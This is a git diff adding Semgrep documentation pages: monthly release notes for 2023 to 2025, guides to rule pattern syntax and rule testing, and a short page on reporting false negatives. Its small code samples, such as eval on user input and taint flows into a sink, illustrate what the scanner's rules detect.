+- generic mode: Allow text input up to 500 bytes without human-readable indentation. This value is subject to change. This relaxation is intended to facilitate testing a long line without a trailing newline. Semgrep users should not expect files that are not human-readable to be processed by Semgrep's generic mode, or in any mode. (Issues [6071](https://github.com/semgrep/semgrep/issues/6071), [6162](https://github.com/semgrep/semgrep/issues/6162))
+
+- Changed behavior for renamed files in diff-aware scans. Semgrep no longer displays old issues to developers when they rename a file. As a result, findings in renamed files are displayed for security engineers but do not block or spam developers. (Issue [6157](https://github.com/semgrep/semgrep/pull/6157))
+
+## Additional information
+
+Minor bug fixes are not included in the release notes unless they are potentially breaking your workflow. To see the complete change notes for Semgrep CLI and CI that include fixes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/).
+
+## Documentation updates
+
+- New documentation for experimental [Taint labels](/writing-rules/data-flow/taint-mode/advanced#taint-labels-).
+- New documentation for [Display matched metavariables in rule messages](/writing-rules/pattern-syntax/#display-matched-metavariables-in-rule-messages) and experimental [Displaying propagated value of metavariables](/writing-rules/experiments/display-propagated-metavariable).
+- New documentation for [Using multiple focus metavariables](/writing-rules/experiments/multiple-focus-metavariables).
+- Added information about [Ellipsis operator scope](/writing-rules/pattern-syntax/#ellipsis-operator-scope).
+- Many documents, such as [Getting started with Semgrep App](/deployment/core-deployment) now display minimal Semgrep tier required for a particular feature documented on the page.
+- Updated [Managing findings in Semgrep App](/semgrep-code/findings).
+- [Taint mode](/writing-rules/data-flow/taint-mode/overview) documentation has been updated and now includes introductory video.
+- Updated [Getting started with Semgrep in continuous integration (CI)](/deployment/core-deployment)
+- Updated [Data-flow analysis engine overview](/writing-rules/data-flow/data-flow-overview).
+- Updated [Integrating Semgrep into source code management (SCM) tools](/deployment/connect-scm).
+- Updated [Evaluating your security posture through the Dashboard](/semgrep-appsec-platform/dashboard).
+- Updated [Notifications](/semgrep-appsec-platform/notifications) documentation.
+
diff --git a/mintlify-docs/release-notes/september-2023.mdx b/mintlify-docs/release-notes/september-2023.mdx
new file mode 100644
index 0000000000..6e32c8494d
--- /dev/null
+++ b/mintlify-docs/release-notes/september-2023.mdx
@@ -0,0 +1,109 @@
+---
+title: "September 2023"
+description: "September 30, 2023 · 4 min read"
+rss: true
+---
+
+
+
+**INFO**
+
+* Moving forward, these release notes cover the following products:
+ * Semgrep Cloud Platform
+ * Semgrep Code
+ * Semgrep Supply Chain
+ * Semgrep Assistant (beta)
+ * Semgrep documentation and knowledge base
+* Refer to **Semgrep OSS** release notes in [ Semgrep GitHub > Releases](https://github.com/semgrep/semgrep/releases/) as the source of truth for OSS releases.
+
+## Private beta sign-ups
+
+* **Semgrep Secrets** is a code scanner that detects exposed API keys, passwords, and other credentials. Sign up for the private beta by filling out the [ Semgrep Secrets Beta](https://get.semgrep.dev/secrets-beta-request.html) form.
+* **Semgrep Supply Chain SBOM (software bill of materials)** enables you to export a list of dependencies in the CycloneDX 1.4 XML/JSON format. Sign up for the private beta by filling out the [ SSC SBOM Export](https://get.semgrep.dev/SBOM-Export-private-beta.htm) form.
+
+## 🔧 Semgrep OSS Engine
+
+* The following versions of Semgrep OSS Engine were released in September 2023:
+
+
+
+
+
+
+
+
+
+## 🌐 Semgrep Cloud Platform
+
+### Added
+
+- UX: Added a new **onboarding** flow. This onboarding flow streamlines the following steps to ensure that users are able to quickly set up Semgrep scans: {/* #10473 */}
+ - **Deployment creation**. The Semgrep team has made improvements to Semgrep account creation and connecting your source code manager, such as GitHub or GitLab.
+ - **Onboarding checklist.** This helps you troubleshoot and resolve any issues early on in your journey.
+ - **Tour of features**. Make the most of your Semgrep experience by learning what features are available to you.
+- Logging into Semgrep Cloud Platform through the CLI associates your CLI user ID to your Semgrep Cloud Platform account. See the [ Anonymous User ID](https://github.com/semgrep/semgrep/blob/develop/metrics.md#anonymous-user-id) section for more details.
+
+### Changed
+
+- **SCM configuration:** Improved the **Delete message** when deleting SCMs, so that you are aware of the implications of removing an SCM. Many major Semgrep features rely on a connection with your source code manager, so take care when deleting SCMs.
+- **GitHub:** Semgrep no longer automatically associates a new user's Semgrep organization with their personal GitHub account. New users can still connect their Semgrep organization with their personal account.
+
+### Fixed
+
+- **GitLab:** Fixed the GitLab CI sample configuration file to help users onboard GitLab repositories more clearly. In particular, the configuration file now includes the `GITLAB_TOKEN` environment variable, which was previously only in the docs.
+- Fixed a timeout issue when syncing large numbers (15,000+) of GitHub repositories in Semgrep Cloud Platform.
+- Fixed performance issues when synchronizing Semgrep Cloud Platform Projects with their corresponding GitHub repositories {/* 10156 */}
+
+## 💻 Semgrep Code
+
+### Changed
+
+- **Findings page:** By default, the findings page now displays findings from **default (trunk or main) branches**. You can customize this filter by selecting a value from the **Branch** drop-down menu.
+
+### Fixed
+
+- Various UX/UI bugfixes in the Findings page.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- **Filtering:** Allow users to select more than one branch at a time.
+
+## 🤖 Semgrep Assistant (beta)
+
+### Added
+
+- **GitLab:** Semgrep Assistant now supports GitLab cloud hosted and self-managed repositories.
+- **Findings page**: Semgrep Assistant verdicts now appear in the Findings page if Assistant recommends that the finding should be **Ignored**. {/* #10438 */}
+
+ 
+
+- **Finding Details page:** For findings with autofixes, the finding's detail page includes a link to the PR comment with the autofix since the PR comment allows for directly committing the autofix. {/* #10516 */}
+
+### Fixed
+
+- **GitLab:** Fixed a bug in which comments were not appearing on GitLab.com cloud-hosted repositories.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+* New knowledge base articles:
+ * [ Failed to run a Git command during pull request or merge request scans](/kb/semgrep-ci/git-command-errors)
+ * [ How to exclude certain file types for a particular rule](/kb/rules/exclude_rule_for_certain_filetypes)
+ * [ Why isn’t Semgrep reporting all my tainted data flows?](/kb/semgrep-code/finding_all_taints)
+ * [ How to scan multiple or nested lock files](/kb/semgrep-supply-chain/scanning_multiple_lockfiles)
+* [ Semgrep Assistant](/semgrep-multimodal/getting-started#enable-assistant): Added a guide to setting up Assistant on GitLab MRs.
+* [ Supported languages](/supported-languages#language-maturity-levels): Added a section on Semgrep Pro Engine language maturity factors. These are the criteria that determine if a language is generally available (GA) or beta.
+### Changed
+
+* Integrated **Ask** (GPT-powered chat) and **Search** functions into one modal.
+* Clarifications on various Semgrep Supply Chain behaviors.
+* [ Sample CI configurations](/semgrep-ci/sample-ci-configs): Updated various CI configurations for standalone SAST scans.
+* A clarification has been added on [Semgrep exit codes in conjunction with the `error` flag](/cli-reference#exit-codes). Thank you to [Bernardo de Araujo](https://github.com/bernardoamc) for this contribution.
+
+### Removed
+
+* Semgrep CLI autocomplete documentation has been removed.
+
diff --git a/mintlify-docs/release-notes/september-2024.mdx b/mintlify-docs/release-notes/september-2024.mdx
new file mode 100644
index 0000000000..1f51dd7738
--- /dev/null
+++ b/mintlify-docs/release-notes/september-2024.mdx
@@ -0,0 +1,243 @@
+---
+title: "September 2024"
+description: "September 30, 2024 · 7 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- **Semgrep Managed Scanning (SMS)** scans newly created repositories automatically if you grant code access to your GitHub repositories. With this feature enabled, the following steps occur whenever you create a new GitHub repository:
+ - Semgrep creates a corresponding project in Semgrep AppSec Platform.
+ - Semgrep starts scanning all pull requests to that repository.
+ - Semgrep performs full scans weekly.
+ You can turn off or turn on diff-aware scans as needed.
+- Semgrep AppSec Platform's new **reporting** feature is now GA. With reporting, you can:
+ - Evaluate your AppSec program and assess your organization's deployment and adoption of secure guardrails, enabling you to know your current security risk.
+ - Gain awareness of trends and opportunities to improve your security posture.
+ - Granularly filter data on all the page's charts and view priority findings.
+- **CLI**: added the `--max-log-list-entries` flag, allowing you to set the maximum number of entries in the log.
+- **Network Broker**: added ability to turn on or off the Network Broker for each source code manager connected to the deployment.
+
+### Changed
+
+- The **Projects** page displays the number of findings from the primary branch, not the most recently scanned branch.
+- Error messages originating in Semgrep scans with more than one job now include more detailed information.
+- The Semgrep CLI is now more performant. Scans, especially smaller or diff-aware scans, complete faster.
+- Semgrep now logs memory-related warnings and errors in debug mode.
+- Minor stylistic changes to Semgrep AppSec Platform.
+
+### Fixed
+
+- Fixed an issue where a Semgrep Supply Chain rule couldn't be opened when viewing findings details in Semgrep AppSec Platform on a smaller screen.
+- Fixed an issue where soft-deleted deployments caused problems with newly created deployments.
+- Fixed an issue where Semgrep didn't post a status update after the finding's status was updated through a pull request or merge request comment.
+- Fixed an issue where Semgrep couldn't connect to multiple GitHub cloud organizations.
+- Fixed an issue where SSO errors weren't displayed.
+- Fixed an issue with Semgrep Editor where you could be switched unexpectedly to Advanced Mode from Structure Mode if you deleted data that Structure Mode couldn't parse.
+- Fixed an issue with Semgrep Editor where it deleted data if you attempted to load a rule containing an unknown nested key, such as taint labels.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Semgrep Pro Engine's dataflow analysis now tracks method invocations on variables of an interface type, assuming that any implementation of the method can be called. For example, in the following code snippet, Semgrep can detect tainted input vulnerabilities in both implementation classes:
+ ```java
+ public interface MovieService {
+ String vulnerableInjection(String input);
+ }
+
+ public class SimpleImpl implements MovieService {
+ @Override
+ public String vulnerableInjection(String input) {
+ return sink(input);
+ }
+ }
+
+ public class MoreImpl implements MovieService {
+ @Override
+ public String vulnerableInjection(String input) {
+ return sink(input);
+ }
+ }
+
+ public class AppController {
+ private MovieService movieService;
+
+ public String pwnTest(String taintedInput) {
+ return movieService.vulnerableInjection(taintedInput);
+ }
+ }
+ ```
+- Taint analysis can now track method invocations on variables of an interface type when there is a single implementation. For example, Semgrep now detects the tainted input vulnerability in the following code snippet:
+ ```java
+ public interface MovieService {
+ String vulnerableInjection(String input);
+ }
+
+ @Service
+ public class MovieServiceImpl implements MovieService {
+ @Override
+ public String vulnerableInjection(String input) {
+ return sink(input);
+ }
+ }
+
+ @RestController("/")
+ public class SpringController {
+
+ @Autowired
+ private MovieService movieService;
+
+ @GetMapping("/pwn")
+ public String pwnTest(@RequestParam("input") String taintedInput) {
+ return movieService.vulnerableInjection(taintedInput);
+ }
+ }
+ ```
+- **Go**: added support for comparing Go pre-release versions, enabling comparisons of strict core versions, pseudo-versions, and pre-release versions.
+- **JavaScript**: uses of values imported through ECMAScript `default` imports, such as `import example from 'mod';` can now be matched by qualified name patterns, such as `mod.default`.
+- **Python**:
+ - Improved support for Python, including differentiated coverage for Django, Flask, and FastAPI, and coverage for ~100 of the most commonly used libraries.
+ - Semgrep's interfile analysis now includes information about Python's standard library, improving its ability to resolve names and types in Python code.
+- **TypeScript**:
+ - Added support for type inference for constructor parameter properties. For example, taint analysis can recognize that `sampleFunction` is defined in the `AbstractedService` class in the following code snippet:
+ ```typescript
+ export class AppController {
+ constructor(private readonly abstractedService: AbstractedService) {}
+
+ async taintTest() {
+ const src = source();
+ await this.abstractedService.sampleFunction(src);
+ }
+ }
+ ```
+ - Improved inference of type information for class fields. This improves taint tracking for dependency injection, as demonstrated in the following example:
+ ```typescript
+ export class AppController {
+ private readonly abstractedService: AbstractedService;
+
+ constructor(abstractedService: AbstractedService) {
+ this.abstractedService = abstractedService;
+ }
+
+ async taintTest() {
+ const src = taintedSource();
+ await this.abstractedService.sinkInHere(src);
+ }
+ }
+ ```
+
+### Changed
+
+- Semgrep attempts to recover from out-of-memory errors during interfile data flow analysis instead of immediately falling back to intrafile analysis.
+
+### Fixed
+
+- Fixed an issue with type inference in Kotlin and Scala, so that constructor invocations like `Foo()` are now properly inferred to be of type `Foo`.
+- Fixed an issue where some findings were reported when a rule ID was specified, even when a `nosem` comment was present.
+- Restored missing taint findings that were possibly missed before improving index sensitivity:
+ ```js
+ def foo(t):
+ x = third_party_func(t)
+ return x
+
+ def test1():
+ t = ("ok", taint)
+ y = foo(t)
+ sink(y) # now it's found
+ ```
+- Fixed an issue with interfile constant propagation where some definitions were incorrectly identified as constant, even though other parts of the codebase modified them.
+- Fixed an issue in taint signature instantiation that prevented the tracking of updates to a nested object's field. For example, in the following code snippet, Semgrep identified that `Nested.update` modifies the `fld` attribute of a `Nested` object. Before this issue was fixed, Semgrep would not identify that `Wrapper.update` modified the `fld` attribute of the `nested` object attribute in a `Wrapper` object. This is no longer the case.
+ ```java
+ public class Nested {
+ private String fld;
+ public void update(String str) {
+ fld = str;
+ }
+ // ...
+ }
+
+ public class Wrapper {
+ private Nested nested;
+ public void update(String str) {
+ this.nested.update(str);
+ }
+ // ...
+ }
+ ```
+- Fixed an issue with overly aggressive match deduplication that led to findings being closed and reopened in certain circumstances.
+- Fixed an issue with regex-fix numbered capture groups. Formerly, regex with numbered capture groups like `\1\2\3` would be the same as `\1\1\1`. Now, the following code:
+ ```python
+ # src.py
+ 12345
+ ```
+ and the following rule:
+ ```yaml
+ pattern: $X
+ fix-regex:
+ regex: (1)(2)(3)(4)(5)
+ replacement: \5\4\3\2\1
+ ```
+ results in:
+ ```
+ 54321
+ ```
+- **Docker**: `CMD $...ARGS` behaves like `CMD ...` and matches any `CMD` instruction that uses array syntax, such as `CMD ["ls"]`. This fix applies to the other command-like instructions, including RUN and ENTRYPOINT.
+- **Julia**: fixed issue regarding incorrect range matching parametrized type expressions.
+- **Python**: fixed an issue that could lead to failure to name to type imported Python symbols during interfile analysis.
+
+## ⛓️ Semgrep Supply Chain
+
+### Changed
+
+- Semgrep consolidates lockfile parsing logic to the beginning of the scan. This consolidated process now considers changed and unchanged lockfiles during all steps of diff-aware scans.
+
+### Fixed
+
+- Fixed an issue where certain parsing errors caused by access to an unbound variable caused Semgrep Supply Chain to crash.
+- Fixed an issue where Supply Chain findings displayed in Semgrep AppSec Platform were color-coded based on the rule severity, not the finding severity.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Assistant displays the message "Assistant did not find any high risk markers in this file" on a finding details page if it didn't determine a specific risk level for the finding.
+
+### Changed
+
+- Semgrep Assistant now provides inline code fixes that you can directly commit based on its guidance, instead of generating inline code fixes and guidance independently.
+- Semgrep Assistant is now enabled by default if you allow code access to your repositories.
+- Semgrep AppSec Platform only displays **Assistant recommended tasks** information on the **Dashboard** if there are tasks for the current week.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- New Semgrep Docs homepage.
+
+### Changed
+
+- Updated theming, including colors and styling.
+- Various updates and reorganization of documentation for Semgrep Assistant.
+- Various improvements to the [Network broker](/semgrep-ci/network-broker) documentation.
+
+### Fixed
+
+- Updated and fixed various broken links.
+- Minor typographical fixes.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in September 2024:
+
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/september-2025.mdx b/mintlify-docs/release-notes/september-2025.mdx
new file mode 100644
index 0000000000..5d188beb29
--- /dev/null
+++ b/mintlify-docs/release-notes/september-2025.mdx
@@ -0,0 +1,84 @@
+---
+title: "September 2025"
+description: "October 23, 2025 · 3 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in September 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Added the ability to filter Secrets findings by branch.
+- Added a confirmation pop-up when switching between the **Production** and **Pre-production** views.
+
+### Changed
+
+- **Jira**: the Semgrep Jira integration now automatically creates Jira tickets for Semgrep Code and Semgrep Secrets findings with a **critical** severity level.
+
+### Fixed
+
+- **Jira**: Team information now loads when the user attempts to map to the **Team** custom field.
+- Supply Chain's **Advisories** filter now filters based on the correct field.
+- Fixed the handling of invalid GitHub refresh tokens. If a user's GitHub refresh token is invalid, Semgrep prompts the user to log in again.
+- Minor UI fixes.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added the `semgrep mcp` subcommand to the Semgrep CLI tool, which runs the Semgrep MCP server.
+- Improved pre-filtering for taint rules, primarily when taint labels are used.
+- **Scala**: Added support for method dispatching through traits.
+- **TypeScript**: improved name resolution for destructuring parameters.
+
+### Changed
+
+- The Semgrep MCP server repository has been moved from [semgrep/mcp](https://github.com/semgrep/mcp) to [semgrep/semgrep](https://github.com/semgrep/semgrep/tree/develop/cli/src/semgrep/mcp).
+- Updated `semgrep-interfaces` to accept only valid language keys for rules in Semgrep Editor.
+- Semgrep now filters `SEMGREP_APP_TOKEN` from any request made to non-Semgrep URLs passed to `-f/-c/--config` when fetching configurations and rules.
+- **Python**: Fixed an issue involving the resolution of implicit namespace modules.
+- **TypeScript**:
+ - Fixed an issue where the pattern `var $X = $FUNC($REQ, $RES, ...) {...}` didn't parse correctly.
+ - Improved the performance of `tsconfig.json` matching for TypeScript projects that contain multiple `tsconfig.json` files.
+
+### Fixed
+
+- Glob patterns containing `\#` or `\` in `.semgrepignore` and included `.gitignore` files are now interpreted correctly.
+- Updated `opentelemetry-*` packages to remove `pkg_resources is deprecated` warnings.
+- **Dart**: Fixed an issue in language processing to return better results.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Supply Chain's reachability analysis now covers all high severity CVEs from supported sources starting from 2017 for **JavaScript** packages.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- [Slack notifications for Semgrep Secrets](/semgrep-appsec-platform/slack-notifications#secrets) is now publicly available.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added instructions for [connecting Semgrep to GitHub Enterprise Cloud with data residency](/deployment/connect-scm#github-enterprise-cloud-with-data-residency).
+- Added the following knowledge base articles:
+ - [Why can't I access my Semgrep organization after logging in with GitHub?](/kb/semgrep-appsec-platform/cannot-access-semgrep-after-github-login)
+ - [Why are my projects showing a status of "Not yet started" after I enable Managed Scans?](/kb/semgrep-appsec-platform/projects-not-yet-started-sms)
+ - [Remove users from your Semgrep AppSec Platform organization](/kb/semgrep-appsec-platform/remove-users)
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in September 2025:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/reporting-false-negatives.mdx b/mintlify-docs/reporting-false-negatives.mdx
new file mode 100644
index 0000000000..0073da9ae5
--- /dev/null
+++ b/mintlify-docs/reporting-false-negatives.mdx
@@ -0,0 +1,6 @@
+---
+title: "Reporting false negatives"
+---
+
+Submit an issue on the [Semgrep issue tracker](https://github.com/semgrep/semgrep/issues).
+If applicable, include a [Semgrep Playground](https://semgrep.dev/playground) link with a **rule** and some **test code** illustrating the false negative.
diff --git a/mintlify-docs/rules/overview.mdx b/mintlify-docs/rules/overview.mdx
new file mode 100644
index 0000000000..7a43d24b1b
--- /dev/null
+++ b/mintlify-docs/rules/overview.mdx
@@ -0,0 +1,26 @@
+---
+title: "Write rules"
+---
+
+Semgrep uses rules, which encapsulate pattern matching logic and data flow analysis, to scan your code for security issues, style violations, bugs, and more. In addition to rules available to you in the Semgrep Registry, you can write custom rules to determine what Semgrep detects in your repositories. You can write rules that:
+
+- Automate code review comments.
+- Identify secure coding violations.
+- Scan configuration files.
+See more use cases in [Rule ideas](https://semgrep.dev/writing-rules/rule-ideas).
+
+## Get started
+For an introduction to writing Semgrep rules, use the interactive, example-based [Semgrep rule tutorial](https://semgrep.dev/learn).
+
+You can write rules in your terminal and run them with the Semgrep command line tool, or you can write and test using the [Semgrep Editor](https://semgrep.dev/editor).
+
+For example, the following sample rule detects the use of `is` when comparing Python strings. `is` checks reference equality, not value equality, and can exhibit nondeterministic behavior.
+
+## Next steps
+The following articles guide you through rule-writing basics and act as references:
+
+- [Pattern syntax](https://semgrep.dev/writing-rules/pattern-syntax) describes what Semgrep patterns can do in detail and provides sample use cases.
+- [Rule syntax](https://semgrep.dev/writing-rules/rule-syntax) describes Semgrep YAML rule files, which can have multiple patterns, detailed output messages, and autofixes. The syntax allows the composition of individual patterns with Boolean operators.
+- [Contributing rules](https://semgrep.dev/contributing/contributing-to-semgrep-rules-repository) gives you an overview of how you can contribute to Semgrep Registry rules. This document also provides information about tests and metadata fields that you can use for your rules.
+
+Need rule ideas? See [Rule ideas](https://semgrep.dev/writing-rules/rule-ideas) for everyday use cases and prompts to help you start writing rules from scratch.
\ No newline at end of file
diff --git a/mintlify-docs/rules/pattern-syntax.mdx b/mintlify-docs/rules/pattern-syntax.mdx
new file mode 100644
index 0000000000..cc2427df6f
--- /dev/null
+++ b/mintlify-docs/rules/pattern-syntax.mdx
@@ -0,0 +1,125 @@
+---
+title: "Rule Pattern Syntax"
+description: "Learn Semgrep's pattern syntax for writing custom rules"
+---
+
+
+**TIP**
+
+Getting started with rule writing? Try the [Semgrep Tutorial](https://semgrep.dev/learn) 🎓
+
+
+This document describes Semgrep’s pattern syntax. You can also see pattern [examples by language](https://semgrep.dev/writing-rules/pattern-examples). In the command line, patterns are specified with the flag `--pattern` (or `-e`). Multiple coordinating patterns may be specified in a configuration file. See [rule syntax](https://semgrep.dev/writing-rules/rule-syntax) for more information.
+
+## Pattern matching
+Pattern matching searches code for a given pattern. For example, the expression pattern `1 + func(42)` can match a full expression or be part of a subexpression:
+```
+foo(1 + func(42)) + bar()
+```
+In the same way, the statement pattern `return 42` can match a top statement in a function or any nested statement:
+```
+def foo(x):
+ if x > 1:
+ if x > 2:
+ return 42
+ return 42
+```
+## Ellipses operator
+
+The `...` ellipsis operator abstracts away a sequence of zero or more items such as arguments, statements, parameters, fields, characters.
+
+The `...` ellipsis can also match any single item that is not part of a sequence when the context allows it.
+
+See the use cases in the subsections below.
+
+## Function calls
+Use the ellipsis operator to search for function calls or function calls with specific arguments. For example, the pattern `insecure_function(...)` finds calls regardless of its arguments.
+```
+insecure_function("MALICIOUS_STRING", arg1, arg2)
+```
+Functions and classes can be referenced by their fully qualified name, e.g.,
+
+- `django.utils.safestring.mark_safe(...)` or `mark_safe(...)`
+- `System.out.println(...)` or `println(...)`
+You can also search for calls with arguments after a match. The pattern `func(1, ...)` will match both:
+```
+func(1, "extra stuff", False)
+func(1) # Matches no arguments as well
+```
+
+Or find calls with arguments before a match with `func(..., 1)`:
+```
+func("extra stuff", False, 1)
+func(1) # Matches no arguments as well
+```
+
+The pattern `requests.get(..., verify=False, ...)` finds calls where an argument appears anywhere:
+```
+requests.get(verify=False, url=URL)
+requests.get(URL, verify=False, timeout=3)
+requests.get(URL, verify=False)
+```
+
+Match the keyword argument value with the pattern `$FUNC(..., $KEY=$VALUE, ...)`.
+
+## Method calls
+The ellipsis operator can also be used to search for method calls. For example, the pattern `$OBJECT.extractall(...)` matches:
+```
+tarball.extractall('/path/to/directory') # Oops, potential arbitrary file overwrite
+```
+
+You can also use the ellipsis in chains of method calls. For example, the pattern `$O.foo(). ... .bar()` will match:
+```
+obj = MakeObject()
+obj.foo().other_method(1,2).again(3,4).bar()
+```
+## Function definitions
+The ellipsis operator can be used in function parameter lists or in the function body. To find function definitions with [mutable default arguments](https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments):
+```
+pattern: |
+ def $FUNC(..., $ARG={}, ...):
+ ...
+```
+```
+def parse_data(parser, data={}): # Oops, mutable default arguments
+ pass
+```
+
+
+**TIP**
+
+The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
+
+
+The ellipsis operator can match the function name. Match any function definition: Regular functions, methods, and also anonymous functions (such as lambdas). To match named or anonymous functions use an ellipsis `...` in place of the name of the function. For example, in JavaScript the pattern `function ...($X) { ... }` matches any function with one parameter:
+```
+function foo(a) {
+ return a;
+}
+var bar = function (a) {
+ return a;
+};
+```
+
+## Class definitions
+The ellipsis operator can be used in class definitions. To find classes that inherit from a certain parent:
+```
+pattern: |
+ class $CLASS(InsecureBaseClass):
+ ...
+```
+```
+class DataRetriever(InsecureBaseClass):
+ def __init__(self):
+ pass
+```
+
+**TIP**
+
+The YAML `|` operator allows for [multiline strings](https://yaml-multiline.info/).
+
+
+### Ellipses operator scope
+Ellipsis operator scope
+The `...` ellipsis operator matches everything in its current scope. The current scope of this operator is defined by the patterns that precede `...` in a rule.
+
diff --git a/mintlify-docs/rules/testing.mdx b/mintlify-docs/rules/testing.mdx
new file mode 100644
index 0000000000..3d3166f61d
--- /dev/null
+++ b/mintlify-docs/rules/testing.mdx
@@ -0,0 +1,177 @@
+---
+title: "Test Rules"
+description: "Learn how to test and validate your Semgrep rules"
+---
+
+Semgrep provides a testing mechanism for your rules. You can write code and provide annotations to let Semgrep know where you are or aren't expecting findings. Semgrep provides the following annotations:
+
+- **ruleid: \** for protecting against false negatives
+- **ok: \** for protecting against false positives
+- **todo:ruleid: \** for future "positive" rule improvements
+- **todook: \** for future "negative" rule improvements
+When writing tests, remember that:
+
+The **--test** flag tells Semgrep to run tests in the specified directory.
+Annotations are specified as a comment immediately preceeding the offending line.
+Semgrep looks for tests based on the rule filename and the languages specified in the rule. In other words, `path/to/rule.yaml` searches for `path/to/rule.py`, `path/to/rule.js`, and similar, based on the languages specified in the rule.
+
+
+The `.test.yaml` file extension can also be used for test files. This is necessary when testing YAML language rules.
+
+
+## Test rules with autofix
+Semgrep's testing mechanism also provides a way to test the behavior of any fix values defined in the rules.
+
+To define a test for autofix behavior:
+
+1. Create a new autofix test file with the `.fixed` suffix before the file type extension. For example, name the autofix test file of a rule with test code in `path/to/rule.py` as `path/to/rule.fixed.py`.
+2. Within the autofix test file, enter the expected result of applied autofix rule to the test code.
+3. Run `semgrep --test` to verify that your autofix test file is correctly detected.
+When you use `semgrep --test`, Semgrep applies the autofix rule to the original test code (`path/to/rule.py`), then verifies whether this matches the expected outcome defined in the autofix test file (`path/to/rule.fixed.py`). If there is a mismatch, the line diffs are printed.
+
+**HINT**: Creating an autofix test for a rule with autofix can take less than a minute with the following flow of commands:
+```
+cp rule.py rule.fixed.py
+semgrep --config rule.yaml rule.fixed.py --autofix
+```
+These commands apply the autofix of the rule to the test code. After Semgrep delivers a fix, inspect whether the outcome of this fix is as expected (for example, using `vimdiff rule.py rule.fixed.py`).
+
+
+## Example
+Consider the following rule:
+```
+rules:
+- id: insecure-eval-use
+ patterns:
+ - pattern: eval($VAR)
+ - pattern-not: eval("...")
+ fix: secure_eval($VAR)
+ message: Calling 'eval' with user input
+ languages: [python]
+ severity: MEDIUM
+```
+If the filename with the preceeding rule is `rules/detect-eval.yaml`, you can create `rules/detect-eval.py`:
+```
+from lib import get_user_input, safe_get_user_input, secure_eval
+
+user_input = get_user_input()
+# ruleid: insecure-eval-use
+eval(user_input)
+
+# ok: insecure-eval-use
+eval('print("Hardcoded eval")')
+
+totally_safe_eval = eval
+# todoruleid: insecure-eval-use
+totally_safe_eval(user_input)
+
+# todook: insecure-eval-use
+eval(safe_get_user_input())
+```
+Run the tests with the following:
+```
+semgrep --test rules/
+```
+This produces the following output:
+```
+1/1: ✓ All tests passed
+No tests for fixes found.
+```
+Semgrep tests automatically avoid failing on lines marked with `# todoruleid` or `# todook`.
+
+## Store rules and test targets in different directories
+Creating different directories for rules and tests helps you manage a growing library of custom rules. To store rules and test targets in different directories, use the `--config` option.
+
+For example, in the directory with the following structure:
+```
+$ tree tests
+
+tests
+├── rules
+│ └── python
+│ └── insecure-eval-use.yaml
+└── targets
+ └── python
+ └── insecure-eval-use.py
+
+4 directories, 2 files
+```
+Use of the following command
+```
+semgrep --test --config tests/rules/ tests/targets/
+```
+Produces the same output as in the previous example.
+
+The subdirectory structure of these two directories must be the same for Semgrep to correctly find the associated files.
+
+To test the autofix behavior, add the autofix test file `rules/detect-eval.fixed.py` to represent the expected outcome of applying the fix to the test code:
+```
+from lib import get_user_input, safe_get_user_input, secure_eval
+
+user_input = get_user_input()
+# ruleid: insecure-eval-use
+secure_eval(user_input)
+
+# ok: insecure-eval-use
+eval('print("Hardcoded eval")')
+
+totally_safe_eval = eval
+# todoruleid: insecure-eval-use
+totally_safe_eval(user_input)
+
+# todook: insecure-eval-use
+secure_eval(safe_get_user_input())
+```
+So that the directory structure is printed as the following:
+```
+$ tree tests
+
+tests
+├── rules
+│ └── python
+│ └── insecure-eval-use.yaml
+└── targets
+ └── python
+ └── insecure-eval-use.py
+ └── insecure-eval-use.fixed.py
+
+4 directories, 2 files
+```
+Use of the following command:
+```
+semgrep --test --config tests/rules/ tests/targets/
+```
+Results in the following outcome:
+```
+1/1: ✓ All tests passed
+1/1: ✓ All fix tests passed
+```
+If the fix does not behave as expected, the output prints a line diff. For example, if you replace `secure_eval` with `safe_eval`, you can see that lines 5 and 15 do not render as expected.
+```
+1/1: ✓ All tests passed
+0/1: 1 fix tests did not pass:
+--------------------------------------------------------------------------------
+ ✖ targets/python/detect-eval.fixed.py <> autofix applied to targets/python/detect-eval.py
+
+ ---
+ +++
+ @@ -5 +5 @@
+ -safe_eval(user_input)
+ +secure_eval(user_input)
+ @@ -15 +15 @@
+ -safe_eval(safe_get_user_input())
+ +secure_eval(safe_get_user_input())
+```
+
+## Validating rules
+You can run `semgrep --validate --config [filename]` to verify the rule's configuration. This command runs a combination of Semgrep rules and OCaml checks against your rules to search for issues such as duplicate patterns and missing fields. All rules submitted to the Semgrep Registry are validated.
+
+The semgrep rules are pulled from `p/semgrep-rule-lints`.
+
+This feature is still experimental and under active development. Your feedback is welcomed!
+
+## Enabling autofix in Semgrep Code
+To enable autofix for all projects in your Semgrep AppSec Platform organization, follow these steps:
+
+- In Semgrep AppSec Platform, go to [Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code).
+- Click the **Autofix** toggle to enable this feature.
\ No newline at end of file
diff --git a/mintlify-docs/run-a-successful-pov-1.mdx b/mintlify-docs/run-a-successful-pov-1.mdx
new file mode 100644
index 0000000000..2a88f3af00
--- /dev/null
+++ b/mintlify-docs/run-a-successful-pov-1.mdx
@@ -0,0 +1,8 @@
+---
+title: "Run a successful proof-of-value (POV) trial with Semgrep"
+sidebarTitle: "Run a successful trial with Semgrep"
+---
+
+import RunASuccessfulTrial from "/snippets/run-a-successful-pov.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/run-a-successful-pov.mdx b/mintlify-docs/run-a-successful-pov.mdx
new file mode 100644
index 0000000000..f6b1c0f571
--- /dev/null
